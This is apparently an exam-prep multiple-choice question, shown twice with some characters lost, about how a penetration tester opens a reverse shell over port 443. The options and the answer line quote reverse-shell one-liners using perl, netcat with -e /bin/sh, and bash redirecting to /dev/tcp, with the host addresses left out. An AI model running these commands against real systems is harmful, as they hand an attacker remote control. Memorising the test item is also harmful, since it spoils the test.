A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use? A) perl -e 'use SOCKET'; $i='; $p='443; B) ssh superadmin@ -p 443 C) nc -e /bin/sh 443 nc -e /bin/sh 443 D) bash -i & /dev/tcp//443 0&1

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A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use? A) perl -e 'use SOCKET'; $i='; $p='443; B) ssh superadmin@ -p 443 C) nc -e /bin/sh 443 nc -e /bin/sh 443 D) bash -i >& /dev/tcp//443 0>&1

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The method using bash to redirect input and output over TCP is a common way to create a reverse shell, especially when the target system has unrestricted access over port 443.

A Penetration Tester Compromises a System That Has Unrestricted Network